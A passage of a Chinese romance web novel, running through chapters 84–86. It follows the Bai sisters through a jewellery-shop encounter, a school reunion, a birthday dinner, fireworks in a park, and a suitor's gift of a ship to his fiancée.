柳太太遂不再说话,一双眼睛电似的在周围的柜面上扫视着。恰好他们所在的区域专卖黄金饰品,到底没有忍住,缩着手,远远地朝玻璃柜面一点,小声道:“你看那金戒子,不也很好吗?黄灿灿的,又贵气又有派头,所费也不是很多,不如让世新和那女孩再商量一下?” 柳先生也远望了一眼,看那价签上的数字,倒是没有超出心里的预算,私心里是赞同的,但还是说:“再看看,再看看。” 两人一路往前走,再前头,就到各式宝石饰品的柜面了。 柳先生随便看了一眼一副钻石的耳环,就被那价格吓得心里一跳,有感而发似的,随口道:“你不要说,要是世新还和那个白小姐在一起,兴许就不必有这些麻烦事。她爸爸当总长那些年,还能没点家私吗?何况她爸爸又没了,一个没有爸爸撑腰的女孩子,管你结婚给的是金戒指还是银戒指,她敢和你硬争吗?” 柳太太听他提到白瑾瑜,差点要跳起来,细细的眉毛竖起了,道:“你真是鼠目寸光!她那总长爸爸都没了,她一个女孩子能顶什么用?对咱们世新,还会有什么助力不成?” 瞅了柳先生一眼,又哼道:“你一定又是听世新说的,说她自己做生意当老板,很有手腕。呵!那是情人眼里出西施哩!你还当真了不成?世新那时候喜欢她,可不就把她夸到天上去?你想想,她爸是军务总长,手上多少人才和资源都尽可以给她用,没了这些,她能当个劳什子的老板,可不要笑掉人的——” 话没有说完,就被旁边的柳先生扯了扯衣袖,向斜对面的方向一指,道:“嘘!嘘!你看,那个是不是白小姐?” 两人立时闭了嘴,定睛一看,前头和一个高大男子依偎在一起看珠宝的,可不就是白瑾瑜吗! 柳太太顿时在心里发出一记冷笑,心想:我说的没错吧?没了当总长的爸爸保驾护航,这个白小姐,已然做起交际花似的人物了。我说她没有前途,那还是抬举她,她简直比我说的还要不堪!幸而我们世新没有—— 想到一半,又被柳先生的推搡给打断了,刚要发两句脾气,对方再次一指,说:“你看她手上的戒指。” 柳太太斜眼看过去,饶是心里瞧她不起,在看到那枚华贵的钻戒时,还是不由得倒吸了一口气。心里叫道:这样大一颗钻石,不知要花费多少钱! 好半晌,才想要找回场子似的嗤笑一句:“也不知道哄了哪位先生给她买的,还好不是咱们世新当这个冤大头。你看,有了钻戒不够,还想要下一个呢。” 这点时间,已足够柳太太上上下下将白瑾瑜打量一遍了,见她从头到脚,没有一处不精致美丽,又整个人是很精神坦荡的,一点没有做小伏低巴结别人的样子。这就让她有点心虚,疑心是自己猜错了。 恰好这时候,临近柜面的店员过来打招呼,请他们可以走近一点仔细看。 柳太太有意要避一避白瑾瑜,又难掩那阵抓心挠肝的好奇,便拉了柳先生走到斜对着他们的位置。假意对柜面里的珠宝看上两眼后,指了指白瑾瑜站立的那扇玻璃柜问道:“那里卖的什么?” 那店员笑了笑说:“那柜面都是男士袖扣,佩戴在西装袖子上,很体面贵气的。两位看看项链吗?要是有中意的,可以拿钥匙开了柜子试戴。” 她后半句说了什么,柳太太压根儿听不清了,就知道白瑾瑜看的是男士戴的珠宝,并不是买给自己的。 心里抓挠的感觉更甚,实在忍不了了,终于又扭头送去了一眼。偏偏这样巧,那边正在会账。两个店员殷切十足,一个忙着将一对闪光的袖扣装进海绒面的盒子里,一个正在填写账单,填完了,殷勤备至地递给白瑾瑜签字。 白瑾瑜拿了笔,就在那账单上签了字。 柳太太简直要不相信自己的眼睛了! 可由不得她不相信,白瑾瑜同那先生买完了东西离开时,正和他们错身而过,分明听见那先生带了笑意说:“谢谢白老板,白老板好大方。” 不相信眼睛,难道耳朵也不可信了吗?这哪里是白瑾瑜哄着男人买东西,分明是买了东西送男人哩!再结合看她手上那颗大钻戒不要这白小姐真当了女老板了吧? 不管柳太太心里是如何的五味杂陈,白瑾瑜却是被孟西洲的一句“白老板”给逗笑了,紧接着又听他说:“设若别人问我袖扣是谁送的,在我这里可没有什么‘白老板,我就直说是‘未婚妻,这一点我就和你不同。” 白瑾瑜又好气又好笑,道:“你真是想多了,袖扣可不像戒指有特殊的含义,戴就戴了,谁会来问你?” 孟西洲带着意味深长的微笑觑了她一眼,说:“你怎么知道没有?横竖有一个人问就够了,婚约这样的喜讯,在圈子里传得是很快的。” 白瑾瑜抿着嘴角瞪了他一眼,虽没有赞成,也并不否决。两人出了洋货行,往停在附近的洋车方向走,坐上了车,她才对司机道:“杨师傅,送我回椿樟街吧。” 孟西洲当下就愣了,连带笑意都隐没了大半,握了白瑾瑜的手腕道:“你不和我回家吗?昨晚那一瓶洋酒,还没有喝完呢。” 白瑾瑜瞥了他一眼,嗔怪道:“我家里没有人吗?连着两天不回家,像什么样子。” 见孟西洲张口欲要反驳,赶忙伸手抵住他的嘴唇,笑道,“我知道你要说什么,瑾璎是叫姓蒋的给接走了,可我们老三,可是乖乖地呆在家里看书呢。你不知道吧,自从我告诉她可以送她去英国学习表演后,她简直像换了一个人,恨不得吃饭的时候都捧了英文书看。” 孟西洲还从没像现在这样,觉得白瑾琪有一点碍事。 按他的想法,在灵肉相结合的一夜后,白瑾瑜总该和他呆在一起,两个人互相抱着,依偎在沙发上絮絮地说话;或者干脆先登一则婚约,他们可以拿了纸笔,细细地商量措辞——他先写一份草稿,白瑾瑜势必有不满意的地方,于是从他手里直接将钢笔抽走,凑在一起修改。 这样美好的场面,眼下都成了泡影,故而说话都带一点刻薄:“既然她要学习,你更不该回家打扰她了。” 白瑾瑜的手指转而点了点他的下巴,揶揄道:“好厉害一张嘴,不过我还是要回家的。从昨天到现在,你也占够了便宜,就不要贪得无厌了吧。” 孟西洲望了她一眼,这一眼实在透着一点可怜委屈,随即又垂下眸子,将她的手握在手里慢慢地抚摩着,苦笑着说:“你有没有想过,不是我贪得无厌,而是你给得太吝啬了呢?我求之若渴的东西,统共就这么一点,我不贪,还有什么呢?” 白瑾瑜瞧着他,微微地一笑。在汽车开过一个拐角时,借着转弯的动势靠到他身上,仰头在他的下颌处吻了一吻。 “怎么没有?还有来日方长呀。” 第84章 第 84 章 你问人脉?我最大的人脉…… 白瑾瑜说白瑾琪用功, 倒不是假话。 自从知道白瑾瑜有望从一个交流项目中为自己争取一个名额,只要通过了洋文和基础表演的考试,就可以赴英国系统地学习表演后, 白瑾琪简直要疯了!从前厌学的懒劲儿完全抛开了不说, 恨不得睡着了, 梦里都在背单词, 好助她通过测试, 去到艺术之海里徜徉。 好在家里有一个“洋文专家”,不拘自己有什么疑问,都能坐下来耐心地教。 哪怕白瑾璎不在,有白瑾瑜这个日常就用着洋文的“实用家”也可, 虽然耐心上欠缺几分, 解答自己这些小儿科的问题, 那是绰绰有余了。 可恨这横插一杠的冬假,什么“专家”“实用家”, 都被爱情拐跑了!留自己这个小可怜在家里苦哈哈地读书, 真有几分从前考大学时的意味。 尽管为了自己的艺术之梦, 付多少努力也值得, 只是她到底是很爱热闹的人,一个人呆在家里多么孤单!再想到两个姐姐如今大谈着恋爱, 假日期间, 必然是跟着男友出去吃喝玩乐了, 对比自己凄凄惨惨, 更觉得苦闷。 想到此,叹了口气,又从玻璃纸袋里摸出一片蝴蝶酥塞进嘴里。 正嚼到一半,就听见楼下隐约传来白瑾璎和虞妈的声音, 料准是二姐姐回来了,赶紧把铺了一书桌的零食都收进抽屉里,再把撒在书页上的西饼碎屑都扫走,嘴角挂着的碎屑也一并拍一拍,这才坐正了身体翻一页书。 刚翻完,自己的房门就被敲了一敲。 白瑾璎扭开了门,把手里一盒包装得亮晶晶的朱古力糖放到她桌上,笑道:“好用功啊。” 白瑾琪心道:总算没有真把我忘得一干二净。把那糖果拿到手上翻看着,半揶揄地问:“划冰床好顽吗?你昨天几时回来的?我都睡着了。蒋二哥也真是,昨天都约你顽了一天了,今天还要带你出门吃鱼锅子,鱼锅子好吃吗?” 转头又叹了口气,幽怨道:“我本来也想跟去哩,但一想,你们两个人亲亲蜜蜜的,我何必去做一个电灯泡?你看我,识相不?” 白瑾璎本来被她酸溜溜的语气说得脸热,可听她念叨到最后一句时,眼睛滴溜溜一转,又露出一个讨赏似的狡黠笑脸,倒有些哭笑不得了,说:“小祖宗,这不是给你带了礼物吗?年前买的零嘴西点摆在家里,也尽供着你吃。” 白瑾琪心虚地看了眼抽屉,只见那装蝴蝶酥的玻璃纸袋没有收好,有一小截被夹在抽屉口露了出来,赶紧咳嗽一声转移话题道:“西点怎比得上正餐?虞妈老派,这两天总想着包饺子,我想吃小馆子哩!” 白瑾璎看她最近这样用功,这点小小的愿望,实在可以满足,便笑道:“好,好,不如今晚就带你和虞妈出去吃?你想吃鱼锅子吗?还是羊肉锅子呢?” 白瑾琪一个“好”字正要说出来,忽而脑子里灵光一闪,“啊呀”了一声,“今晚不成。我差点忘了,昨天接了个电话,今晚我有一场中学同学的聚会哩!” 她在中学时就是个风云人物,如今又正是春风得意时,怎会不去? 反倒是程巧书,自从她当了戏剧社众人的面大大发了一通威,又勒令社长郑家树道歉查究后,学生之间便隐隐开始追问起谣言的源头——笑话,现在这谣言是落在白瑾琪的身上,可留着这“毒瘤”,焉知哪一天自己做错一点事,那谣言不会落到自己的头上啊! 谣言这东西,要确切找出散布的那一个人,是不大可能的,不过众人问来问去,竟有不少人想起这其中有程巧书的一份。 再仔细一想,从白瑾琪第一次选上女主角开始,她不就多次有过表示反对的言论吗?尽管程巧书本人大呼冤枉,称自己也是听别人说的,不过是人云亦云罢了,但还是有不少人对她竖起了戒心,同她交往不似从前亲近了。为此,程巧书甚至请了几天病假,一副可怜兮兮的惨样。 白瑾琪才不管,那是她自作自受,且让她自己和那群女学生斗法去吧。 嘻嘻一笑,拉了白瑾璎的胳膊道:“学了那么多天,总算也轮到我出门松快松快了,好姐姐,快帮我挑挑衣服!” 聚会的地点还是选在当初办毕业告别会的永福饭店,白瑾琪到得晚,一进包厢,众人便站起来热烈地表示欢迎,道:“咱们的表演之星来了!白同学,你在星河剧场的演出都登上报纸了,真了不起!” 又有人说:“我听说咱们瑾琪要留洋专攻表演了,可是真的?啊呀!这是真要去做大明星了呀!” 白瑾琪一面说着“哪里哪里”,一面放眼在圆桌上扫过一圈,如她所料,程巧书和那狗腿子似的钱瑞芝果然没来。哈!怕不是觉得丢脸,不敢见她吧? 不过钱瑞芝虽没来,她妹妹钱瑞云倒来了,非但如此,一见着白瑾琪,还亲热地招了招手,示意她坐到自己边上来。 白瑾琪挑着眉,心道:这钱瑞云虽然大学考去了外地,但她和钱瑞芝可是亲生的姐妹,钱瑞芝那点子事,她真会不知道吗?当下又生出斗志来,她要我坐过去,我还怕她不成?倒要看看她说些什么! 于是勾唇一笑,真就大大方方在她旁边落座了,道:“好久不见,你在外地念书怎么样?年节里,火车票子不大好买吧?” 钱瑞云见她这样亲和爽气,反倒吃了一惊似的,心想,今天自己这个和事佬,未必不能做成功呀。 握了白瑾琪的手,羞涩道:“我倒还好,家里在交通科有一点人脉,二等座的车票,总还可以买得到。”笑了笑,又说,“不过,我姐姐今天没有来,你怎么问了不问一句?我们三个从前多么要好。唉,还是我来说吧,她最近是生病了。” 白瑾琪轻蔑地笑了一声,说:“生病便生病呗,请个西医打一针,什么病都好了。你别说,程巧书病了,她也病了,难怪她俩关系好,连生病都赶在一起呢。” 钱瑞云脸上的笑容一僵,知道自己没法靠装糊涂蒙混过关了,将握着的手摇了一摇,软和道:“我姐姐这人稀里糊涂的,说话不过脑子,也常常上别人的当,她要是说了什么惹恼了你,你可千万别和她一般见识呀。” 白瑾琪冲她甜甜地一笑,手腕上却用了个巧劲儿,将她的手挣脱了,说:“你真说对了,我从前怎么没发现,她那人不光说话坏,心也坏。对待朋友一点不念旧情,转头就可以踩你一脚,我如今是一点儿不想搭理她。” 钱瑞云脸上挤着笑脸,心里却急得打鼓:白瑾琪把话说得这样不客气,当了妹妹的面就敢骂姐姐的不是,这、这可叫她怎么接? 只能生硬道:“所以说,她这是上了别人的当——” 话没有说完,只见白瑾琪瞥了她一眼,似笑非笑道:“钱瑞芝不会说话就算了,你可不要学她的样,不然,我也不想搭理你了。” 钱瑞云心里一跳,口中一噎,当真不敢再说了。 心里不禁对钱瑞芝埋怨起来:她自己为了巴结程巧书,和白瑾琪闹掰了,如今见白家非但没有没落,反而大有前途光明的意思,又要把我推出来说和,我何苦做这吃力不讨好的事?从前上中学的时候,难道她就谦让过我吗?我何必为了钱瑞芝,把自己和瑾琪的一小点情分也给断掉?保不齐今后,还有钱瑞芝来求我的时候呢! 正好这时,有别个女同学来和白瑾琪碰杯,恭贺她留洋学表演的事,言辞间不乏羡慕。 钱瑞云等她们聊完了,也默默凑上去道了一声“恭喜”,又问:“瑾琪,你真要去留洋吗?我听说如今留洋的名额审核得很严,你是走了哪一条人脉?不瞒你说,我如今念的三流大学,毕业了也没甚名堂,谁不想去国外镀一层金呢?” 白瑾琪见她笑容里带着谄媚,要是放在从前,恐怕自己得意得尾巴都要翘起来了;可现在再看,非但不觉得受用,反而从这张笑脸里看到了钱瑞芝的影子。 心想:她们姐妹俩是一样的,现在巴结我,不过因为在我这里有利可图,往后别人有利于她了,她也会去巴结别人。 大姐姐说的对,我实在不必把这种情分看得太重,更不必为此伤心,过去的我真是傻。 于是笑着打马虎眼道:“你问人脉?我最大的人脉,就是我大姐姐了,这次留洋的机会,也是她多方替我问来的。我有这么个姐姐,那是我的福气哩!” 说完,自己倒先愣了,印象里,她还从没说过这样维护吹捧白瑾瑜的话呢。可仔细一想,又笑起来,这话说得没错呀! 用这枚不软不硬的钉子把钱瑞云碰走后,终于能消停一会儿了。白瑾琪吃着菜,再看窗外的天色早已经暗沉下去,街面上的霓虹灯渐次亮起来,闪闪烁烁之间,突然想到:再过不了一个月,就是大姐姐的生日了呀! 我实在应该给她买件礼物——不,我想给她买件礼物! 不如就是今天吃完这顿饭,料想百货商店还没有关门,先去逛一逛好了。我虽然兜里的钱不多,和她那个开船厂的男友更是不能相比,但就凭我的好眼光,不信我的礼物不能让她中意! 第85章 第 85 章 行啊,干脆今天都夹花坐…… 为着这是白瑾瑜搬来椿樟路后过的第一个生日, 虞妈很坚持要在家里庆祝。白瑾瑜平时也不缺上饭店下馆子的机会,轻易就答应了,于是生日的当天, 连孟西洲和蒋牧城也一并赶来了椿樟街三十六号。 二人在楼下停车时, 白瑾琪正巧透过窗户望见了, 见两辆漂亮的洋车俱都停在自家门前, 心里不禁有一点得意。 想:这回差不离了, 楼下两位,大约就是我未来的两位姐夫了。由我这个扮演爱情戏的专家旁观来看,这两人对我两个姐姐,黏得很紧哩!不错不错, 只要我抱牢了我两个姐姐, 等到我过生日的时候, 他们还能不给我封一个大红包吗? 福至心灵一般,兀自在房间里转了个圈, 哼着歌儿跑下楼去了。 再说她自己, 也确实买得一件很称心的礼物, 献宝一般呈给白瑾瑜, 甜言蜜语道:“你瞧,它用的是灰色和靛蓝色的绸缎, 和你好几身洋装都可以配不说, 中间的花蕊又是用金色珠子串成的, 岂不是素色中的点睛之笔?嘻嘻, 我一看这胸花就觉得很衬你哩。” 白瑾瑜略显惊奇地瞅了她一眼。 不说绸缎做的胸花,宝石胸针她也不少见,不过白瑾琪居然留意着她平时穿什么,买东西的时候还想着帮她做搭配, 可见确实花了心思,并不是敷衍了事。满意地冲她一笑,说:“不错。” 白瑾琪便像得了赞许的小猫似的,尾巴翘得老高,得寸进尺道:“那和二姐姐送你的真丝睡衣比,哪一个更好?” 白瑾瑜也不跌她面子,把她送的礼盒收好了,说:“虽然价格上不能相比,不过你们的用心,我想是一样重的。” 白瑾琪何时被她这样顺着毛哄过,简直要飘飘然了,当下就谄媚地要坐到她边上,被路过的白瑾璎“咦”了一声,“不把瑾瑜边上的座位留出来,给孟先生坐吗?” 白瑾琪很不服气,抬着下巴道:“这你就不懂了。圆桌上吃着饭,又是端碗又是夹菜的,两只手都嫌不够用呢,坐在一起有什么用?不如我把他们夹开了,还能瞧见对方的脸,眉目传情一下,饭也能多吃两碗了!” 白瑾璎实在不懂这些爱情经,不像白瑾琪,学洋文都专门捡着原版的爱情小说来看,句子学得格外快。又想到自己过年去蒋牧城家里的时候,就是因为和他坐在一起,桌子底下一玩起游戏来就顾不上别人,确实是不大得体,被别人发现了,也怪窘迫的。 于是支吾着道:“你说得也有道理。看不出来,读了几本爱情小说,你都变成‘爱情专家了。” 白瑾瑜站在边上,眼看着白瑾璎被她三言两语就带跑偏了,真是又惊奇又好笑,一时也起了玩心,笑道:“行啊,干脆今天都夹花坐好了,让西洲坐你和蒋牧城中间,就这么办!” 话说到这里,两位先生正好敲门来了。虞妈眉开眼笑地去开门,看哪一个都觉得满意,她先前还很担心哩,看大小姐性格强势说一不二,唯恐她找个耳提面命的;看二小姐又太软弱,怕她被人欺负拿捏,现在一瞧,这不是很好吗! 可见白家的人,都很有挑人的眼光哩! 反倒是孟西洲捧了一束鲜花进来,把鲜花交给虞妈又谢过一声后,就习惯性地往白瑾瑜旁边的座位走。想不到刚刚近身,就被女友捏住了袖子,朝对面的方向一指,道:“你坐那里去。” 孟西洲眉梢微动,故意说:“怎么?进了你家,我连坐你身边的资格也没了。” 旁边白瑾琪已施施然地落座了,今天她看孟西洲,直如看一个行走的红包,立刻鬼灵精地道:“别这么说呀,孟先生。这样安排是大有用意的,方便你们俩俩相望,让你看清我姐姐的脸哩!” 孟西洲脸上带笑,心里免不了暗暗咬牙,想:瑾瑜家的老三怎么回事,书读得不是时候,脑子里还一堆碍事的烂点子。但再看白瑾瑜狡黠地冲他一笑,似乎玩兴正起,也只好无奈一笑,甘之如饴地听指令行事了。 反倒是蒋牧城那一边,似乎并不计较坐哪里,白瑾璎一句话,他就坐了。 晚饭开始前又拉了虞妈入席,夹在白瑾璎和孟西洲的中间,这座位就显得很有意思。 姓白的三位小姐连排坐在一起不算,把两位高大的先生拨在一边两两挨着,另一边分别坐着白瑾琪和虞妈。这哪里是“夹花坐”,分明像是楚河汉界,把白家的和白家以外的分了两边坐;又白瑾琪与虞妈又像一道“天河”,把两对情侣都给隔开了。 等众人真坐下了,白瑾琪才觉得自己这主意不大妙,主要这孟姐夫和蒋姐夫都长得人高马大,坐在一起瞧着挤得慌 白瑾琪刚想往她姐姐那儿挪一挪,给两封红包腾出点地方,一扭头就看见白瑾瑜伸手舀了碗热汤,左手中指上戴了好大一颗钻戒,亮得人一晃眼。顿时倒吸了一口气,料想这是孟西洲买给她的戒指,再看这封姓孟的红包,都觉得他厚实了点。 孟西洲虽然声明了这钻戒并不是生日礼物,但出于应景,白瑾瑜倒很乐意拿出来戴一戴。白瑾琪瞧见了,坐在对面的孟西洲当然可以看见,心里多少舒服了一点,问:“给我舀的吗?多谢。” 他这话一出口,白瑾琪又是一吸气,因为吸得太猛,险些呛着。 倒是白瑾瑜不以为怪,朝孟西洲瞥去一眼,见他果然很无辜地微笑着,眼睛里仿佛写了“把我赶得远远的,都不舀碗汤哄一哄我吗”。 孟西洲惯会使这些又争又抢的伎俩,不过转念一想,不过一碗汤而已,要是一碗汤就能让他高兴一点,自己又何乐不为?于是真就按照孟西洲的饮食喜好,舀了两块嫩嫩的鸽子肉,又添了山药,给他递过去。 在白瑾瑜刚伸手递出去一点时,孟西洲已然站起来去接了,说:“很烫的,我来。” 嘴角的弧度肉眼可见地上扬了一些,又拿起自己的空碗道:“你是今天的主人翁,要你第一个舀汤给我,我很惭愧。我也给你盛一碗吧。”同样舀了一碗,一直送到白瑾瑜面前。 苦了白瑾琪就坐在他们两个中间,这一来一回都发生在眼门前,饶是她看过不少爱情小说和电影,也觉得心灵受到了不小的震荡。 心道:还不如让他们坐一块儿呢,不说舀汤,还能互相夹菜。哪儿用得着像现在这样,要夹菜还得站起来,伸长了胳膊也不好看,实在失策呵!他们不要把不能夹菜的不满算到我头上吧?! 白瑾瑜倒是挺舒坦,喝了两口热汤,又吃了点自己喜欢的菜,刚想扭头和白瑾璎说说话,就看见她扶着碗的左手上,同样戴了一枚戒指。却不是她母亲的钻戒,而是一枚没见过的黄色火油钻戒指,主钻切割成四角圆润的正方形,闪着暖融融的黄调光,不像寻常钻石白森森的冷冽,正与她圆融的气质相得益彰。 赞道:“这戒指从没见你戴过,倒很衬你,哪里买的?” 想不到说话的不是白瑾璎,而是慢悠悠夹着菜的蒋牧城,答道:“顺和外贸公司订的。”说话时,还不忘抬起眼皮看白瑾璎一眼,露出淡淡的微笑。 白瑾瑜一噎,瞬间警惕起来。这什么意思?自己问的是瑾璎,结果瑾璎答不出来,反倒是姓蒋的对答如流,难不成戒指是他买的?好端端的,一个先生何故要送如此贵重的钻戒?莫不是已经求婚了? 一瞬间又想到刚才白瑾璎被白瑾琪几句话就唬得团团转的场面,心里又有点着急:自己家这个老二稀里糊涂的,不要已经答应了吧?蒋牧城也是!白家如今没有顶头的长辈,但结婚这样重大的事,多少也应当摊开了,和自己这个长姐亦或者瑾璎的舅舅舅母商量着来吧? 口气顿时不善起来,道:“蒋副总长的动作,快得真有点不懂礼数了,你送这戒指是什么用意呢?” 白瑾璎对于他们俩的交锋,实在是经历得多了,稍稍有一点言语上的风吹草动,她就可以嗅出苗头。往蒋牧城那边一看,他果然是扯了一扯嘴角,眼看着一个讽刺的冷笑就要出来了,赶紧伸了脚,朝他的方向踢了一下。 同一时间,正待回击的蒋牧城感受到脚上那轻轻的一碰,又看到白瑾璎安抚似的向这里望了一眼,想到自己对于白瑾瑜,如今正是“有事相求”的关键时刻,实在不宜把她惹怒。 于是硬是按捺住反驳欲,客气又带了几分恭敬的说:“我能有什么用意,无非是对瑾璎很爱重的意思,戒指衬她,就买了。” 说罢,还笑了一笑表示友善,但目光却凉凉地扫过白瑾瑜自己手上的钻戒,仿佛是在说:一样是钻戒,姓孟的能送你,我不能送瑾璎吗?可不要只许州官放火,不许百姓点灯。 白瑾瑜也意识到自己同样戴了钻戒,问这话不大占理,凭白送了个把柄到姓蒋的手上,正感到懊恼呢。想不到蒋牧城竟没有反驳自己,还很客气地打了一个圆场。嚯!这简直是太阳打西边出来的稀罕事,难道是和瑾璎在一起久了,连性格都变了? 如若不然,那准是瑾璎一早交代过他,要他顺着我这个过生日的寿星翁。 想到蒋牧城虽然乖戾古板,但对瑾璎还是言听计从的,心里立刻又舒坦起来,她就怕瑾璎文文弱弱,被这姓蒋的吃得死死的哩! 第86章 第 86 章 人家的礼物都送到了,你…… 于是一顿饭和和美美地继续吃下去。 饭后甚至开了一瓶洋葡萄酒, 配着孟西洲带来的奶油蛋糕又碰了一次杯,连平时滴酒不沾的白瑾璎都浅浅倒了一个杯底来凑趣。 话题正好说到过年前买的几个礼花盒子,本来是预备过年的时候给白瑾琪放着顽的, 不料她为了出国的事沉迷学习, 竟一个也没顾上放, 现在都留在柜子里吃灰尘。 白瑾琪当下两眼放光, 兴奋道:“我要放!我要放!我都把这件事忘记了!” “我看择日不如撞日, 就是今天去放了吧?不然,等我去了国外,这花盒子也没有人放,更要吃灰了!”一双大眼睛对着桌上的人转一圈, 略带谄媚地嘻嘻笑道, “何况, 今天在座的还开了车来,礼花盒子又大又笨重, 正好可以装在车里。嘿嘿, 不敢劳动寿星公的大驾, 让蒋二哥带我们去放吧?我放, 你和二姐姐看!” 这又是她自诩绝妙的一招。 看看这位孟姐夫,一顿饭下来, 眼睛几乎要黏在大姐姐身上了, 奈何屋子里这么多人, 连说句示爱的话都不方便。自己这么做, 可不就帮他把人都支走了吗?望他不要计较自己吃饭时不识趣地往他们中间坐。 另一面,蒋二哥带了自己和二姐姐去椿樟街对面的公园,自己有的顽不说,他们自可以去月下漫步。想一想, 彼此牵了手依偎着,头上皎洁的月亮撒着清辉,多么富有诗意! 简直是一举三得的好法子!这若是一出剧目,演到这里,横竖都能获得观众的一阵掌声了! 白瑾璎倒是不反对她顽。何况白瑾琪最近实在用功,上回自己给她出了一张测试卷,她竟答对了十之七八,会话表述上也进步不少,很应该给她一点鼓励和嘉奖。握着蒋牧城的胳膊拉了一拉,说:“这主意不坏,你带我们去公园放礼花吧?” 她都发话了,蒋牧城还有不答应的吗?把蛋糕吃完了,便帮忙将几个花盒子搬到车上,招呼另外两个出门。 白瑾琪兴冲冲地穿戴好了大衣围巾,刚要往门外冲,又猛地站住了脚,“哎呀”了一声:“差点儿把洋火给忘了,没有洋火,还怎么放花盒子?”说罢,向厨房的方向喊道,“洋火是放在厨房里吗?虞妈,阿苗?快拿一盒给我!” 白瑾瑜从沙发上站起来,一面说着“你就消停一点吧”,一面拉开了茶柜上一个小抽屉,把一盒包装怪精美的洋火,远远地抛给了她。 孟西洲知道这是她偶尔吸烟时会用的火柴,此刻被白瑾琪接到手里,一溜烟跑出门外去了。他倒很高兴,走过去握了白瑾瑜的手道:“很好,现在能让你聊以慰藉的,就只剩下我了。” 屋外的林肯汽车上,白瑾琪满意地独占后座,再看自己旁边满满地堆着几个礼花盒子,到时候可都是由自己来放的,顿时像童话书里坐拥着财宝的国王一般自矜起来。 再看前头开着车的蒋牧城和坐在副手座的白瑾璎,想到刚才出门的时候,蒋二哥还给我二姐姐整理外衣领子呢。啧啧,真看不出来,平时不苟言笑得吓死人,待我二姐姐还是很细致的嘛。 那末,想必这封姓蒋的红包,应当也不会很薄吧? 白瑾琪兀自想得眉开眼笑,一路稳稳地晃去了公园,洋车将将停下来,她便迫不及待地去抱花盒子了。在一片空地上摆好后,对白瑾璎二人摆着手道:“你们去长椅那儿吧!站得越远才看得越清哩!” 蒋牧城便牵着白瑾璎走远了些,既确保白瑾琪的身影还在视线之中,又可以有相对私密的两个人的空间。 莹白色的月光罩在他们身上,白瑾璎抬头一望,竟是很大很圆的一个月亮,不免想到上次和蒋牧城谈论月亮时是一弯残月,同现在相比,已然是两处光景了。又收回视线去看白瑾琪,她正兴冲冲地擦亮洋火,点了第一个花盒。一小点亮光沿着引线烧到了头,盒子里就窜出一丛烟气来,把这漆黑的天幕,另添了绚丽的色彩。 白瑾璎把脸靠在蒋牧城的肩上,忍不住道:“真好,所有事都在往好的一面去发展了。连瑾瑜和瑾琪的脾气都好了许多,你没发觉吗?她们现在一点儿也不吵架了。” 说着,将一张莹白如玉的小巧脸庞,带着由衷欢喜的微笑,仰起了看向蒋牧城。 蒋牧城自然而然地低一低头,在她唇上吻了一下,说:“是吗?我现在看她们都顺眼一些,兴许是受你的影响,因为爱你,对她们也都爱屋及乌了。” 白瑾璎因为他猝不及防的一吻,一颗心急切地跳了几下,直觉自己脸红了。 要说接吻,这也不是第一次,比这更热情激烈的,也不是没有过。就为了这短短的一触而害羞,多少有些跌相。正要佯装若无其事地扭头,借夜色掩盖自己这一份羞赧时,却被蒋牧城揉了下耳朵,带着笑意问:“耳朵怎么红了?” 白瑾璎简直被他问得一噎,急中生智道:“大概因为喝了一点酒,本来就觉得晕乎乎的,正好出来吹吹风。” 蒋牧城似乎轻笑了一声,并不揭破她,只是捏着她耳朵的手转到了脸上,在白瑾璎细滑得豆腐也似的脸颊上也轻轻捏了一下,说:“吹完了风回去,还帮不帮我的忙呢?瑾璎,你答应了我的,总不能反悔吧?” 另一边,白瑾瑜在二楼的阳台上踱着步,她刚刚拆了蒋牧城带来的礼物,越想越觉得古怪。 扭头对笑睨着她的孟西洲道:“你知道,我和蒋牧城一直不大对付。我今天对他,自认有几句话说得很不客气,可他竟然没有板脸,反而和颜悦色地同我周旋。再看他送的礼物——” 伸了手指,往客厅里拆开的包装盒和里头几个晶莹的小瓶子一点,说:“那个牌子的香水是国外的新货,不说价格,国内根本就买不到,姓蒋的还一口气送了三瓶。他何以这样费心思?为了讨瑾璎的欢心,连带着对我也屈服了吗?太古怪了。” 照她对蒋牧城的了解,喜欢瑾璎和嫌弃她,那就是绝不冲突的两码事。 孟西洲倒很了然的样子,说:“求人办事,总要送礼,兴许他有大事要求你呢?你就静等着吧。” 白瑾瑜心想:我有什么值得他求的?反倒是蒋牧城,要是海关那边硬扣着我的货不放,我还得向他服个软呢。严重一点,少不得还要唆使瑾璎去替我求他两句——不对!我规规矩矩地做生意,凭什么扣我的货不放! 再想下去,恐怕就要生气了,干脆把这些念头丢开,视线触到手上的钻戒,忽而笑道:“孟老板,人家的礼物都送到了,你送我什么呢?” 将戴了钻戒的手伸到他眼前一晃,“你说的,这枚钻戒可不是生日礼物。我的礼物在哪儿呢?”说着,戴了戒指的手就背到身后,伸出另一只手,手心向上地伸到他面前。 想不到孟西洲竟是有备而来,几乎在她摊开手心的同时,拿起小桌上一个文件袋子就放到她手上。 装在文件袋子里的,想必只能是合同了。 白瑾瑜怔楞一下,一面拆开袋子,一面玩笑似的问:“你又要给我让利吗?你总爱玩这种把戏,为着我从前不接受,你就当作生日礼物送我,这样我就只好——”她将里头的合约抽出来,待看清抬头的铅字后,震惊得一句话也说不出。 这哪里是一间货仓的让利合约,分明是一条货船的让渡合约。 先前在白瑾瑜说话时,孟西洲只是微笑着不语,现在白瑾瑜安静下来,他终于徐徐地开口:“这是我参与设计的船,送给你,不是相得益彰吗?” 孟西洲把她手里的合同放到一边,只握了她的手,倾诉道:“你还记不记得,我们刚认识的时候,我在船务公司的设计部工作,参与设计的,就是这一艘船。从那时到现在,一晃眼,已经过去好几年了。” 他把白瑾瑜的手举到唇边贴了一贴,看向她时,只见对方盈盈的双眼,也正一瞬不瞬地望着自己。 含情脉脉不过如是。 一瞬间,孟西洲的心像是涨满了似的,有一种不可言说的满足。在那么安静的夜里,很清晰地说道:“我想,船和爱情未必没有相似之处。造一艘船要花费好几年的时间,从设计,到建造,到出海。我对你的爱情,不也是如此吗?” “起初有许多苦思冥想的困顿时刻,埋头在一堆错综复杂的图纸之间,像把头扎进了海里似的,真是求助无门。就像我喜爱你,却又得不到你的时候,也是一个人,度过了许多苦涩又孤寂的日子。” 孟西洲笑了一下,语气总算不是那样可怜兮兮的令人揪心了,“我想这就是所谓的‘凡事都有过程,船一定可以造出来,而我也终于得到了你的爱。瑾瑜,你终于爱我了。” “我现在把它送给你,就是把我自己,也一并彻底地送给你。” 他握着白瑾瑜的手再一次往上,直到贴上他的脸:“你接不接受呢?” 第87章 第 87 章 也是,蒋牧城年纪不小了…… 